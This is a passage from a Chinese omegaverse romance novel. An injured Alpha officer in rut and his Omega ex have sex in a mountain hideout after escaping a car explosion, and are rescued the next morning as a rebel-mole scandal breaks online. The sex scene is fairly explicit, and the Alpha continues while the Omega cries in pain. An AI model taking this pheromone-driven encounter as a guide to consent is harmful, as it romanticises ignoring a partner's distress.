沈乐安还没有这么伺候人的经历,但看着床上昏迷不醒的秦砚,还是默默取了剪刀,小心翼翼地将他身上的衣服剪开,然后仔细将布料弄下来。 Alpha胸膛前空了一大块,腹部轻微的起伏,扎结的线条与有力的肌肉映入眼帘,上面有几道陈旧的伤疤,旧痕新记交叠相印,展示着他过往的勋章。 独独作为男性个体而言,他的身体也非常的完美,常年锻炼,但肌肉并不夸张,而是恰到好处的力量感。 沈乐安摸过碰过,但是确实没有这么光明正大的看过。 只是略微一个走神,新手护工就不小心扯到了病患的伤口,他倒吸了一口凉气,看着都觉得替秦砚疼,下意识贴近,想给他吹吹。 而这倏然的疼意已然将意识昏迷过去的人惊醒。 胸膛处轻微的冷意和感知让他第一时间反应出来了自己上半身的空荡感,Alpha无暇顾及,因为他视野内是Omega逐渐靠近的身影。 Omega半跪在床上,身上的外套已然脱去,只剩下干净简单的白色T恤,宽大的内搭因为他躬身的动作而垂挂下来,描摹出他单薄紧韧的后脊。 他的一只手轻轻搭在Alpha的腰侧,弯腰贴近,还在泛红的眼睛认真注视着Alpha胸前的位置,随后唇瓣微张,吐出细不可查的气息。 那细小的气流像是在伤口上用狗尾巴草轻轻挠过,感知由伤疤一路蔓延到心口,对于强大的Alpha而言,血流不止的痛感也抵不过此时此刻这轻飘飘的吹气音,他强大的意志力在这虚无缥缈的气体中险些陷于崩溃。 秦砚喉结滚了滚,手心微微攥紧。 那松雪的味道在室内悄然浓郁了几分。 沈乐安似有所觉,直起身,侧头,便对上Alpha直勾勾的视线。 沈乐安觉得他可能是被疼醒的,略有点心虚地道:“我要帮你换药,但你身上太脏,需要清理一下。” 秦砚单手直起身,从他手中取走了毛巾,“我自己可以,你先处理自己的伤口。” “我没受什么伤。”沈乐安道。 秦砚目光微垂,落在他手背被石子划伤的小口子上。 少年的手白皙娇嫩,只是一些细小的血痕,也足以看起来非常的严重可怖,甚至有点隐约泛青,但对比起秦砚身上的,当然是小巫见大巫。 沈乐安顺着他的视线看了一眼,顿了一下,“……可能不小心有刮到一点,不严重。” 秦砚径直从药箱中取了棉签和碘伏,还有一些小的创可贴,悉数搁置在他的手边,“先处理你自己的,隔壁房间有换洗的衣服,是我的,没有穿过,你可以暂时拿来应付一下,我有需要会叫你。” 他话里带了几分强硬。 沈乐安见他面不改色当着自己的面将手直接嘎吱一声转回原位,话到嘴边又吞了下去,默默将他拿出来的药品取走。 “那行,你有事喊我。” 秦砚垂眸,没有看他,唇线绷紧,“把门关上。” 沈乐安顺手把门带上,走出来没有两步,扯了扯衣角,贴近鼻翼,嗅了嗅。 是错觉吗? 他怎么觉得秦砚的信息素又变浓了一点? 血液里面包含了少量的信息素,方才秦砚流血过多,所以飘出来的味道很浓,但是上来之后似乎就变淡了一点。 沈乐安回头,瞥了一眼关上的门,迟疑了一下,还是没有回去。 应该是他太累弄错了,刚刚给秦砚剪衣服的时候也没看见什么再大量外流的血迹了,何况秦砚也不是那种会拿自己性命开玩笑的人。 思及此,沈乐安身体一转,也没有耽搁,进了隔壁的房间,他身上太脏,也确实有点受不了。 门口踱步的动静彻底消失,另外一道关门声也在空气中落下。 紧闭的室内,抽气的装置不停地运转着,却也难以一下子排干净这迸发出来的松雪冷气。 血液的流失让Alpha脸色苍白,而迸发出来的信息素又迫使他略有些虚弱的脸上多了一层薄红,周身开始变得滚烫难言。 他手上攥着那条沾了一点红酒气味的毛巾,脸上没有什么表情变化,只是手心将绵软的布料逐渐拢紧,棉质的软毛被他失衡的力气揪住,几乎要断裂成两半。 Alpha的手背青筋鼓胀,露出可怕的筋条。 狭窄的房间内信息素分子到处乱窜,如果气体有形,也许包裹在那条沾染了一点红酒味道信息素的毛巾大概已经被雪雾化成大网,完完全全的包裹住,不露出一点缝隙。 Omega的气息在出去之后的几分钟,已经基本上消失殆尽。 秦砚下了床,直接去了浴室。 那条毛巾被他随手挂在了架子上,身上的衣服被他直接褪尽,他完全没有刚刚少年的小心翼翼,动作很快,力气也不小,衣物的摩擦感带来的剧烈痛感比少年不慎触碰的疼意要扩张到数倍之大,这也让他勉强清醒了一分。 喷头上从头浇下的冷水浇灭了一点身体易感所招致的热气,但也让伤口猝不及防被这种淅沥沥的凉意刺激,细密的疼意如似蚂蚁撕咬,让快要涣散的理智回笼。 但空气中的松雪分子不见半点减少,反而有逐渐递增的趋势,以势不可挡的气势笼罩在狭窄的浴室之间。 秦砚站在水下,任由冷水从上而下喷洒,从他发顶一路往下,将身体浸湿,但周身的烫意愈发深重,仿佛要将水汽蒸发。 情况要比以往要严重的多。 在反叛军当卧底时,秦砚那时候第一次被注射大剂量的基因进化药剂,甚至还被恶劣的安排了一个Omega进他的房间,那间房间内充满了陌生的Omega的信息素,但他那时候或许有信息素本能的影响,但并没有什么被勾起的来自身体本能的欲望。 但这一次不同。 或许是和沈乐安做过标记,又发生过更进一步的事情,又或许是自己本能的心里的因素,易感期的反应几乎让他难以克制。 Alpha试图和以往的每一次一样,尝试压制,但意外的受伤让他身体不复之前的强势,难以抵挡两方的冲撞。 ……难以言喻的狼狈。 Alpha轻轻吐了口气,任由水流从颊侧蜿蜒而下,他手一抓,前额的发悉数被拢到了后面,饱满的前额被水浇打,神经里的肮脏并没有一点被浇熄。 那一点微弱的几乎快要逸散的红酒气味还充斥在鼻尖。 秦砚侧了侧视线。 挂在架子上的毛巾被溅起的水花打湿了一小片,有气无力地耷拉在上面,轻轻摇曳,往下垂挂着小小的水珠。 水声关闭,浴室内又陷入一片平静。 沈乐安洗完澡出来,简单给自己的伤口处理了一下就去了秦砚这边。 他没有耽搁太久,刚刚疑似浓郁的松雪信息素还是让他有点心神不宁,唯恐秦砚又出了什么岔子,毕竟过来的一路秦砚就是如此,什么也不说,就默默抗了下来,如果不是来到这开了灯亲眼所见,沈乐安还真的不知道他竟然伤的这么严重。 这不安的心理在敲门没有人回应的时候达到了巅峰。 沈乐安敲了好几遍,还喊了秦砚好几声,都没有任何回音。 思忖一二,沈乐安还是直接开了门。 门扉之后,铺面而来的是浓重的松雪之气,冰凉的分子几乎在外人闯入期间,疯狂地缠绕在毫无防备的Omega身上。 沈乐安握在把手上的手微微一紧,压下紊乱的心境,扫了一眼没有什么变化的药箱,就知道秦砚还没有上药。 浴室的灯开着,门也是关着的,但里面没有听到什么声音,连水声也无。 室内安静一片,除了浓郁的信息素,仿佛没有另外一个人的痕迹。 沈乐安拧眉,走到浴室门边,也没有直接推门,试探地贴近喊了一声:“秦砚,在吗?” 话音刚落,站在门边的沈乐安便听到浴室内传来的一道声响。 克制又低沉,几乎是从喉间压抑不住才溢出来的一点音调。 带着浓重欲色的闷哼径直闯入Omega贴在门板上的耳中,仿佛黏在耳侧。 随后便寂灭无声,只有空荡荡的冷意。 沈乐安手上的动作僵硬了一瞬,热气倏然爬上脸颊,脑袋迟钝地往后挪了挪,没敢再贴近那道门板。 这声音太过于敏感,难免不让人遐想。 他也不敢确定秦砚是不是真的在做那种事情,毕竟秦砚在他的认知里面,实在不像是会有太多世俗欲望的人。 但他现在应该是因为伤口的因素,易感期出现了混乱,提前了,其实也不是不能理解。 沈乐安脑袋里面胡七想八,满脑子撞破秦砚私密的尴尬,但到底他还是理智占了上风,没有第一时间离开。 平复了数秒思绪,他才假装什么都没听见地说道:“秦砚?” 里面的人慢了两秒,语气不变地嗯了一声,看不出一点局促。 沈乐安觉得也许是自己真的听错了,暗暗松了口气,又道:“你是不是易感期提前了?” “嗯。” “这里有抑制剂吗?你说位置,我可以帮你拿。” “没有。” “……没有?” “没有抑制剂。” Alpha的声音透着几分低哑,隔着一道门,又因为这周身缠绕的信息素,沈乐安其实也没有那么淡定。 沈乐安几乎脱口而出地道:“那怎么办?” 他知道秦砚信息素暴动的病还没有治,眼下又没有抑制剂。 没有抑制剂,信息素又如此逸散,易感期的反应明显很大。 一个正常的Alpha在这种情况下,能怎么办? 沈乐安站在浴室外面,没有目的地扯了扯衣摆,盯着紧闭的浴室门,看不清里面人的身影。 秦砚安静了一会儿,没有给他答案。 — 沈乐安在浴室门口站了许久,没有等到秦砚的回答。 浴室里面甚至没有别的声响,隔着门板,隐约还有一点粗重的呼吸声。 细枝末节的响动在安静的室内难免会变得格外清晰,沈乐安觉得自己在此时此刻听觉达到了最佳的状态,神经也有点绷紧。 他试探地道:“秦砚?” “你先回隔壁房间。”浴室里那道声音停了一下,不知是什么缘故,又提醒了一句,“记得锁好门。” “……那你怎么办?” “我会自己解决,你先出去。” Alpha努力保持话音里面的冷静与清醒,但不稳而低哑的声线明显难以让人忽视他现在的状态。 沈乐安盯着那扇门,没应,也没有挪步。 浴室门底下的细缝源源不断的往外逸散着Alpha的信息素,浓稠的松雪之气仿佛成形一般,缠绕在Omega的身上,分子黏糊糊地附着在Omega每一寸暴露在外头的肌肤,缠人的架势和主人口中的驱逐形成鲜明的对比。 哪怕沈乐安想走,此时此刻,他也有点腿软。 强势高级的Alpha的信息素在某些时候作用能力是非常强劲的,如果是对上匹配度极高的Omega,具有极强的催情作用,以及致命的吸引力。 何况沈乐安本就发情期将近,现在更是被刺激的假性发情,红酒的气味逐渐浓郁。 Omega的信息素从细缝内溜进狭窄的浴室中,Alpha敏锐的察觉到浓稠的第二道气息,生理性克制不住的兴奋。 他还没有走。 这样的认知让Alpha神经愉悦,更是难以抑制胸口迸发出来的得寸进尺的欲望。 理智让他暂时按捺住了更进一步的冲动。 他只是轻轻靠在门旁边的墙壁上,那条毛巾被他咬在唇齿之间,吞噬着残余的气息也淹没了难以抑制的吐息,手上的动作更加用力了一些。 带着Alpha的残暴与恣意。 沈乐安也不知道为什么自己没有走。 他站在这里,甚至能明显感知到刚刚自己听到的声音根本不是什么错觉。 隔着一堵墙,自己还在,秦砚就这么当着自己的面,纾解生理需求。 这样的认知让他脸颊发烫,甚至久违的记忆复苏,哪怕看不清,那种暧昧的想象竟也格外充沛,病毒一样在他脑袋里面扎根。 秦砚的身体情况沈乐安哪怕没有专门对他做过检查,仅仅只是看过病例和身体密切交流过几次,但这些已经足够让他对秦砚的身体有了初步的了解。 信息素暴动他有过几次,还强行压制了下来,身体原本已经算是处于平衡的状态,但和他进行标记过后,那样的平衡在某种程度上来说,是已经打破了的,从病理的治疗来看,自然是往好的方向发展,只是现在他又受了伤,激发出来了易感期,身体的平衡相当于再一次打破。 身体的承受能力有限,哪怕强大如秦砚,也无法对自己的身体做完全的斗争,何况现在没有任何的抑制剂作为帮助,硬抗的后果很有可能造成身体平衡的崩溃,再加上他现在还受了重伤,更是身体虚弱的时候。 沈乐安试图通过绝对公事的理由来说明自己现在行为的合理性,但不可否认,他确实也有私心。 分手之后对前男友还有同情心和担心等情绪是非常不可取的,而且他还打算和对方有更进一步的深入行为,秦砚刚刚也让他离开,明显也是不希望有牵扯的意思。 沈乐安思绪微乱,但最后还是做了决定,因为Alpha的信息素探入他的后颈,明显也挑拨起了自己的念头,他险些有点站不住。 反正他睡秦砚也不吃亏。 沈乐安心中振振有词,但表现出来的行为却外强中干,对于里面已经不再掩饰的喘息,脸皮都烧薄了几分。 他无名地有点发虚,纠结了半晌,才道:“秦砚,你还在不在。” 等了几秒,里面的人回他。 很轻地一声:“嗯。” 沈乐安觉得那声音似乎比前面的还要靠近一点,压下疑惑,又说:“你是不是还没有上药?” “嗯。” “你的伤口还好吗?” “嗯。” “你要不要出来涂一下药?” “嗯。” 沈乐安生硬地扯了几个问题,秦砚倒是都应,但那扇门都没有一点要开的意思,反而是那回应的声音越来越沉,甚至有几分敷衍。 沈乐安站在门口,仿佛要将那门把手掰下来,谁想只略一施力,那把手就往下一落,发出很轻地一道解锁音。 ……门没锁。 沈乐安不确定秦砚有没有看见或者听见,他想也没想,小心翼翼地还原了位置,手被烫到似的飞快离开。 里面那点异动也没有了,只有安静一片。 秦砚一定知道了。 沈乐安头皮发麻,被人抓包这种行为,心跳不由加快,只干巴巴道:“秦砚,你门没有锁。” 这一次秦砚没有回他一个敷衍的气音,说话声也清晰了一些,“门没锁。” 沈乐安站在门外,莫名多了一分紧张。 这仿佛是一个暗示,又或者是一个明示。 沈乐安努力让自己镇定下来,侧眸看了眼桌面上的酒精和棉签,似乎找到了合理可靠的理由和借口。 他拿了那瓶酒精和那包棉签,然后面上保持着还算淡定的表情,随后“啪嗒”一声,慢吞吞地推开了浴室的门。 毫无阻拦,也毫无阻碍,比想象中的简单,但铺面而来的信息素如似风暴向他周身席卷而来。 沈乐安只是侧身抬眸,那股淡定便魂飞魄散。 Alpha离他太近,他就倚在门侧的墙壁上,周身赤裸,极度的克制让身上的肌肉线条夸张的绷起,有着力量与野性的美感,手上还拿着刚刚沈乐安要给他擦身体的毛巾,脖颈的青筋鼓起,身上的滚烫从肌肤上的红就能明显看出。 他绷直着唇,如似一条直线,眼眸狭长,深邃的蓝色瞳孔透着一股矛盾的冷静和狂躁,偏偏他身上的欲望以低劣的方式毫不知耻地彰显着,脸上的清冷便霎时间破坏的一干二净。 地上还落了不知多少张纸,被粗暴地揉成一团,空气中难言的味道混杂其中,发生过什么,昭然若揭。 这本应该是秦砚慌乱的场面,但此情此景之下,Alpha却一点局促也无,反而是从外闯入的Omega有点脑子发懵,半天说不出什么话来,准备好的腹稿也忘得干干净净。 秦砚紧紧攥着那条毛巾,眼睛定定看着他,声音透着浓重的哑调:“进来做什么?” 这话本该是问句,但从他口中却成了陈述一般,带着某种似有若无的探究。 沈乐安眼睛一时不知道从放哪,原先找好的托词也忘了,索性坦白道:“你都这样了,要不要和我做……”临时标记。 他话还没有说完,被便突然激增的信息素刺激得腿脚发软,被Alpha大手一揽,撞进了他的怀中。 秦砚没有能忍到听他说完,直接扣住了他的下巴,堵住了他后边的话。 他亲的力度极其的重,格外的用力,仿佛要将怀里的人印入骨髓。 舌尖毫不费力地拓张着领土,在另外的领域搅得翻天覆地。 那小心贴近的酒味从缝隙中钻进来开始,就已经无形中传递着主人的心意,而今破开门扉,便亲昵又欢快地与松雪交缠融合。 信息素会体现主人真实的心意,信任度越高,身体越松弛,分子内传达的情感就越直白。 秦砚感受着那活跃的红酒分子,几乎难以遏制地沉溺其中,吻着Omega的唇瓣,与他呼吸交缠。 “……安安。”Alpha的声音很低,也很温柔。 那声音贴在沈乐安的耳畔,烫出一阵阵红痕,耳珠绯红如血,Omega被他过分温柔的音色与占有欲十足的动作弄得呼吸不稳。 沈乐安被他紧紧扣在怀里,手上原来拿着的酒精瓶子和棉签早就不知道滚到了哪里去。 他在手臂攀上Alpha的后背时,无意触碰到了他的伤口,后知后觉反应过来这事,脑袋清醒了一点。 从意乱情迷中抽离出来不过短短几分钟,反应过来他们现在的情况,沈乐安呼吸微顿,脸颊骤然红了一片。 他们贴的太近,秦砚浓重的信息素还抵在他的身上,动作间明显的摩擦让暧昧激增,温度都升高了几分。 秦砚抱着他,一点都容不得他后退。 Alpha从他耳垂一路亲吻而下,脑袋在敏感的脖颈处逗留弥久,齿牙轻轻碾磨着他脆弱的腺体,令微微走神的沈乐安骤然回神,整个人都颤了颤,脚趾都绷紧了一分。 “安安……” Alpha低声喃喃,吻着他鹅颈细腻的肌肤,手已然从拨开了大半的衣物,轻易点燃Omega的火气。 沈乐安的腰侧已经空了一片,腰侧的肌肤紧紧贴在Alpha的手边,粗糙的指腹流连忘返,心思不言而喻。 ……本来只是想做个临时标记的,怎么会这样? 被Alpha牢牢控制在手心的沈乐安有点无助地想着,心头微颤,又被那一声‘安安’拉回了神,一点走神都不行。 沈乐安勉强在意识混乱间记起来秦砚似乎伤重的事情,站不稳,不敢抓他的手,也不敢碰他的背,只能去抱他的颈。 这无疑是自投罗网的靠近。 那狰狞的东西与浓稠的信息素用力闯进他的身体时,沈乐安疼的眼角冒泪花,他甚至还不敢推得太用力,只是断断续续地道:“秦砚,轻、轻……伤。” 只言片语,词不达意,最后化成一道破碎的呜咽。 秦砚恍若未觉,仿佛完全忘了自己重伤的事实,轻柔地吻去Omega眼角的泪,安抚地喊他:“安安乖,很快就好了。” Alpha声音格外的温柔。 沈乐安倏然断了声,“秦——” 秦砚紧紧抱着他,声音黏在耳侧:“安安。” 沈乐安意识彻底混沌过去,几乎用尽了最后一点力气,整个人无力地栽下,却被Alpha单手托住,稳稳地挂在他的身上,仿佛成了一个小挂件。 他原本只是想过来帮秦砚做一个临时标记,顺便帮他上一下药,但是却不清楚为什么最后脆弱倒下的却是他,收拾残局的反而成了重伤的秦砚。 最后怎么从浴室回到床上的沈乐安完全没有了印象。 他只知道那失控的Alpha从他推门进去浴室后,就一直在喊他,亲昵地叫着他的小名。 沈乐安稍微回应一句,他就仿佛成了凶恶的狼一样,残暴而放纵,Alpha的野蛮在这一刻显示的淋漓尽致,然后再一次重复地叫他,好像发现了什么新奇的上瘾的游戏。 最后,沈乐安也没搞懂到底重伤的该是谁。 第69章 第 78+79 章 天光大亮, 室内的昏暗被日光驱逐,半山腰上,还有花草丛林的自然香气, 将沉睡中的人唤醒。 沈乐安迷迷糊糊的睁开眼, 眼前陌生的景色让他有一瞬间的恍然。 窗口外面是山雾蒙蒙,还有树野林丛,鸟鸣蝶飞,如似与世隔绝的桃花源。 迫不及待钻入鼻腔的松雪之气让他回到了现实。 腰间紧扣的手臂彰显着身后Alpha的存在感, 沈乐安背对着他,但却整个人被他强势的拘在怀中, 肌肤相贴,灼热的体温也传递而来。 沈乐安只是轻轻动了动,便狠狠的吸了口凉气,下半身酸麻的痛感顷刻间复苏。 ……秦砚这狗东西。 沈乐安略一用力, 就将腰间盘桓的手臂挪开, 支着身体坐起来。 摸到秦砚手上异常高的温度让沈乐安皱了皱眉。 借着外面的日光, 他侧眸,看向身旁的人。 Alpha闭着眼, 露在视野内的皮肤都是赤红一片, 脖颈的筋条绷起, 信息素还在外泄,显然失去了身体的自我控制。 贴手一探,沈乐安表情倏然凝重。 温度太高了。 他伸手, 将盖在表面的被子往下扯了扯, 秦砚胸膛处隐约有点溃烂的伤口便露出表面。 妈的。 秦砚这个傻逼。 他都记得给他下边那地方上药, 却没有给自己上药! 沈乐安压下心口的火气,看着这人不省人事的样子, 一时不知该如何撒气,对着空气低咒了一声,然后忍着酸痛爬下床去拿药箱。 浴室内的狼藉还没有来得及收拾,一进去这狭窄的地方,糜乱的气息尚且飘浮在空气之中,未曾完全消散。 昨天给秦砚擦身体的那条毛巾也不知道被折腾成什么样了,一点也用不了。 沈乐安只好先用自己昨天洗澡用的那条,不然还得专门转去另外的房间拿,太过麻烦,他现在一点也不想多走路。 打了一点冷水,沈乐安拿湿毛巾给秦砚擦了一遍,然后也没管秦砚会不会介意这毛巾不仅被他沈乐安用过,还拿来擦过他自己的身体,但最后这毛巾是被沈乐安浸泡了冷水然后堆在秦砚的额上,用来降温。 昏迷不醒的人太难喂药,沈乐安拿水冲了药剂,但秦砚一点也没有反应,唇瓣紧紧抿着,一点也没有配合的意思。 沈乐安别无他法,只能试图喊醒他。 叫了两声,秦砚没有任何反应。 Alpha锋利的眉眼因为滚烫的温度烧出一层疲态和虚弱,高挺的鼻梁之下呼吸都十分的孱弱,唇瓣更是苍白无力,往日严肃威风的秦上将在此时此刻,仿佛成了待宰的羔羊。 沈乐安盯着他的那张脸看了一小会儿,然后鬼使神差地伸手掐住了他的两颊,两指一用力,秦上将的唇瓣便被他的蛮力挤出了嘟嘟的模样。 昏迷不醒的人不会作何反应,沈乐安了无意趣地松开了手,轻轻推他:“秦砚,快起床喝药。” 秦砚还是没有醒来。 沈乐安拧了拧眉,思忖片刻,指腹压在他的唇瓣,拨开他柔软的下唇,而后试图再强行钻入他的齿牙之后,意图这样强行喂药。 只是在他叩开Alpha锋利的牙齿时,那一排牙尖还未等他完全打开,就倏然落了下来,斩断了他的后路。 沈乐安一抬眸,便对上秦砚虚弱的视线。 齿牙微松,柔软温热的舌尖如似藤蔓,卷了上来,认真地滑过每一寸皮肤,仿佛是用唾液治愈伤口一般仔细,带着某种认真的安抚。 沈乐安耳根发烫,反应过来,猛地抽回自己的手指,上面沾了粘稠的液体,黏腻的触感带着暧昧的气氛。 只是做出这种行为的人好像什么都不知道似的,低声说了一句:“抱歉,咬疼了吗?” 沈乐安觉得秦砚的脑子可能被烧坏了,因为以前他绝对不可能做出这种调情的行为。 “我想给你灌药,没想做什么。”沈乐安解释了一句,目光躲开,没敢看他,“你醒了就起来喝药吧。” 秦砚目光落在他的身上,说道:“安安,我现在没有力气。” 听到那句称呼,沈乐安眼皮忍不住跳了跳,昨天晚上的条件反射还在。 他攥了攥手,指节往衣摆处挪了挪,假装不经意间擦掉上面的湿润,而后还算镇定地取回盛了药的碗。 沈乐安没有什么喂人喝药的经验,第一口就太满,还未吞咽下去的药汁便从Alpha的唇角溢出,划出一道鲜明的弧度,衬得秦砚愈发狼狈。 秦砚动不了,也没有说什么,只是敛了敛眉,眼皮耷拉了下来。 沈乐安知道他洁癖的臭习惯,默默放下勺子,又抽了张纸,板着脸帮他擦了擦脸颊。 秦砚盯着他的动作,目光在他身上逡巡。 Omega看不见自己身上的模样,但面对着他的人确实一清二楚。 少年身上是一条新的衬衫,扣子开了一颗,不是自己的尺码,显得非常的宽大,颈侧露出大片的肌肤,白皙如玉的细腻上增添了太多深红的痕迹,较弱的肌肤一点磕碰都能够留有淤青,何况发了狠充满占有欲的吻和吮吸。 颈侧、胸前、手臂、甚至耳侧背后也有淡淡的痕迹。 沈乐安不明他的打量,只能尽力专注于手里的药,终于几口之后喂完,他勉强松了口气,起身想挪到另外一侧,秦砚的背后,恨不得离开他的视线范围。 Alpha的视线像是逡巡自己领地的恶狼,随时要吃了他似的。 他一站起来,秦砚就叫住了他:“去哪?” “你如果能够自己处理背后的伤口,我也可以出去。”沈乐安说着,走到了另外一侧,拿出药箱里面的东西,挨个放在床上。 他话里的呛人并不遮掩。 秦砚顿了一下,说道:“安安,你生气了吗?” 沈乐安指尖抵住他的后背,没有用什么力气,轻易就阻止了他想要翻身过来的动作,“我要上药,你别动。” 秦砚顺从地转回原位。 看不见上药的人,也没有听见声音,不见视觉也不闻听觉,反而让棉签轻轻剐蹭的触觉愈发鲜明了起来。 Omega涂药的动作格外的轻,仿佛是对待易碎的瓷,力度轻如羽翼,有一下没一下地扫荡在Alpha的心头,荡起一片涟漪。 秦砚舔了舔唇,盯着前方摇曳的小花,按捺下一点也经不起挑拨的欲望,克制信息素的外溢,避免泄露自己的情绪。 Alpha刻在骨子里面的劣根性,让原本的欲求成倍增加,得寸进尺的本事几乎是本能。 昨晚已经是失控,只是没想到起来的时候并没有见到Omega的怒火,而是看到他如此乖顺地帮自己处理伤口,那种蠢蠢欲动的底线试探又飘荡在心口。 察觉到Omega气性未消,秦砚理智顷刻回笼,压下了乱七八糟的想法,冷静了下来。 涂完后背,没听到秦砚说话,沈乐安瞥了他一眼,又拿着东西回到他面前。 秦砚胸口处有伤,脖子那里,昨天因为他的缘故,也多了新的伤口。 “后背涂了药,你先别动,等会蹭掉了。”沈乐安瞥了他一眼。 “嗯。” 沈乐安拿起棉签帮他处理前面的部分。 Omega离得近,就在眼前,眼睛专注地看着他的胸膛,呼出的气息似乎也无意扫过他的身体,秦砚抿了下唇,克制地别开视线。 “昨天晚上我有点失控,向你道歉。” 沈乐安手上的动作一顿,随后假装没怎么在意地哦了一声。 “还很疼吗?” 沈乐安也没好意思提他怎么还帮忙给他那地方涂药的事情,含糊道:“你昨天有那种功夫,怎么自己不上药?” 秦砚道:“很累,所以没有来得及。” 沈乐安白了他一眼,没好气道:“你可以先处理自己的。” 秦砚默了默,闷不吭声地说了一句:“你当时在流血。” 沈乐安:“……” 沈乐安脸一红,想也没想,喝道:“闭嘴!” 然后狠狠对着他的伤口戳了一下,猝不及防的一击,正在痛点,秦砚脸色微微一变。 那伤口处有隐隐浸出了血珠。 沈乐安板着脸,重新给他涂药。 秦砚看着他红如滴血的耳垂和避开的视线,挑开了话题:“这里没有工具联系外面,但车发生了爆炸,附近有人发现会报警,很快会有人过来。” “这个不用担心,”沈乐安道,“我在跳车前给我爸发过定位,他看到会让人过来找我们。” 秦砚嗯了一声,又盯着他提醒了一句:“安安,隔壁房间里面有外套,也有围巾。” “知道了。” 那副药的药效上来,秦砚脑袋已经有点昏沉沉了,听到沈乐安的回话,他才彻底失去了意识。 沈乐安摸了摸他的额头,发现他温度降了一点,放下了心,将药物全部收回药箱,嘀咕了一句操心的还真多,而后又将被子小心地给他盖了回去。 这里离市中心有一段距离,现在虽然不知道时间,但看外面,应该还是大清早,离凌晨那会儿估计也没过几个小时。 沈烨如果发现消息再过来,估计还有一段时间。 沈乐安在小别墅内转了转,搜罗出来一些还没过期的饼干,应付了一下,想起秦砚昏睡前的提醒,又走回了隔壁的那间房。 想想秦砚身上也没有什么厚衣服,他那话说不定还有暗示自己给他也穿上,免得等会回去着凉。 沈乐安拿完衣服,路过试衣镜时,反应过来他那句多余的提醒和秦砚瞥向他的那个眼神真正是什么意思。 沈乐安木着脸往下解了两颗扣子。 镜子中的人衣襟大敞,从耳侧到颈部再一路蔓延至衣襟之下,所露出来的位置深红一片,密密麻麻的吻痕暧昧地弥留其上,明眼人一看,哪怕不用猜,也知道昨天孤A寡O在逃难之后的小破屋里干过什么。 车子的鸣笛声靠近,窗外的不远处有人即将到来。 衬衣的扣子被Omega不慎失手崩坏了一颗,从半空跌落,摔在地上,而后滚了几下,不见踪影。 沈乐安也没管那破纽扣,看着逐渐靠近的车辆,手猛地一拽,一把将窗帘拉上。 窗帘的扣子与上方的架子发出短促而尖锐的响动。 沈乐安狠狠地咒骂了一声,“艹。” — 沈乐安和秦砚消失的一整晚,联邦的网络都险些瘫痪,热搜的爆词更是层出不穷。 起因在于微博上一个新号在将近凌晨发布的信息。 传了一个相册的图片,对方只配了一句标题:联邦302年姜烈士拍摄底稿-反叛军内部资料。 这人上传不过几分钟,光速秒删。 有保存下来的网友越看名单越不对劲,尤其是刷到最后几张时,竟然是在电视上出现过的人物,被这疑似误传的新号主人吓得不轻。 新号秒删的行为像是误传错了一样,之后再没有上线,也没有回复什么消息。 于是这内幕小道消息便如同瘟疫一样光速在网络上流传开来,在新号主人动态删除后没有一个小时,直接挂在了热搜第一。 这有史以来的最大塌房且和联邦军方上层相关,其中最顶的那位可是马上要竞争下一任军部元首位置的人物,可以说引发了最大范围的关注。 紧接着没有多久,各大机场出国飞机取消的消息和高铁进出口严查的事情都被网友挖出。 那份秒删的内幕信息似乎开始被逐步印证。 没过多久,风评处于风口浪尖的沈氏发了两条声名,第一条是经过严查,发现公司内部出现了反叛军的卧底,已经予以开除,第二条是与联邦达成合作,作为新抑制剂的一代销售商,并说明此抑制剂可以用于治疗信息素暴动。 两条声名之后,沈氏最新的一条动态则是一条转发的消息,联邦公布了新抑制剂的成功研发,药剂可用于治疗信息素紊乱、信息素暴动等多种信息素疾病,研发人员的名单里面,首位的名字就是沈氏集团重点圈出来的信息:小少爷(大拇指)(大拇指) 几条信息连环炸下来,沈氏的行为无疑是某种程度上在支持这份名单的真实性,又延伸新号上面的姜,网友一扒,沈董事长的已故妻子姜叶的信息就跟着姜家一起被扒了出来。 这种重要消息直达天听,政界一大堆人三更半夜被电话吵醒,顷刻就有督察组马不停蹄地下来抓人。 在众多消息中,京市附近一山顶发生车祸爆炸的消息都变得无足轻重地挂在吊车尾了。 所以无人关注也无人发现这社会性新闻发生的地方会聚集如此多重要人物的事情。 车祸爆炸现场在悬崖边上,车子直接跌入了悬崖,好在不怎么高,救援队一到,马不停蹄地下去探查情况和搜查人员伤亡情况。 说实话,来救援的人看到底下惨状的时候心是格外发凉的,因为爆炸的情况太严重,又经过了几个小时,还直接摔下了悬崖,基本上是判定为没有任何希望了。 这种丧气话是没有人敢吱声的,只是硬着头皮去找。 因为这一次给他们打点过的可不是权贵两个字能说清楚的,这京市大头也就那几个,也不知道这车上到底是什么人,别说最有钱的那几个,最有权的都下来打招呼了。 搜查的人胆战心惊地查看了现场的情况,很快下了判断对方可能跳车逃生了,于是又开始在附近可能的地方进行查找,终于顺着血迹找到了这半山腰的房子。 出血量不少,又过了这么久,救护车是开在最前面的,也是第一时间抵达这一栋小别墅,进去搜救的,唯恐慢了一点出现意外,造成这来头不小的人有一丝一毫的损伤。 没有人能够承担这个后果。 秦砚第一时间被救护人员送走了,至于保管的那个u盘,也有专门的人取走了。 沈乐安婉拒了随同过去治疗的请求,打算和沈烨一起回去。 那名护士也没有敢靠近,她是一个Alpha,对信息素的感知比其他过来的Beta同事要敏锐的多。 昏迷过去的那个Alpha男人周边弥散着可怕的高级信息素,攻击性极强,她没敢进去,甚至房间外面都没有敢怎么久待,而眼前的少年身上同样充沛着那个Alpha的信息素。 恶龙盘踞在自己的宝藏上,不允许旁人觊觎和靠近。 一般而言,出来外面味道也该散了,但少年的身上还在往外蔓延,甚至有点交融入骨髓,有自身无意识散发出来的可能性。 这得发生多少次亲密的交流才能有这种情况发生啊…… 护士看到少年藏在围巾里面的俊俏小脸,老脸一红,咽了咽口水,她知道他们身份贵重,也没敢多八卦他们两个的事情,提到不敢提,多问了一句:“您家里会过来接您吗?” 沈乐安有点不明白她的执着,答道:“我身上没有什么伤,不用去医院,会有人来接我,这个你不用担心。” 护士忙摆手道:“我只是想提醒您,您最好找一个Beta司机过来接您会好一点。” 沈乐安:“好的,谢谢你的提醒。” 见那护士离开,沈乐安低头嗅了嗅自己的衣领,在里面待着不清楚,出来感受确实深刻,他毕竟在屋里面待了一晚,秦砚的信息素在他身上还沾了不少。 难怪刚刚那个护士会有点避而远之。 外面停了不少车,秦家父母也在,沈乐安没有出去,远远从窗口瞥见他们的车跟着救护车一起离开,倒也松了口气。 他现在和秦砚的情况也并不适合再撞见秦家的人。 看到沈家的车停在楼下,沈乐安这才捂紧了外套从房间出去,他借了别人的手机,上网看了看反响,对于现在的情况也有了一定的认知。 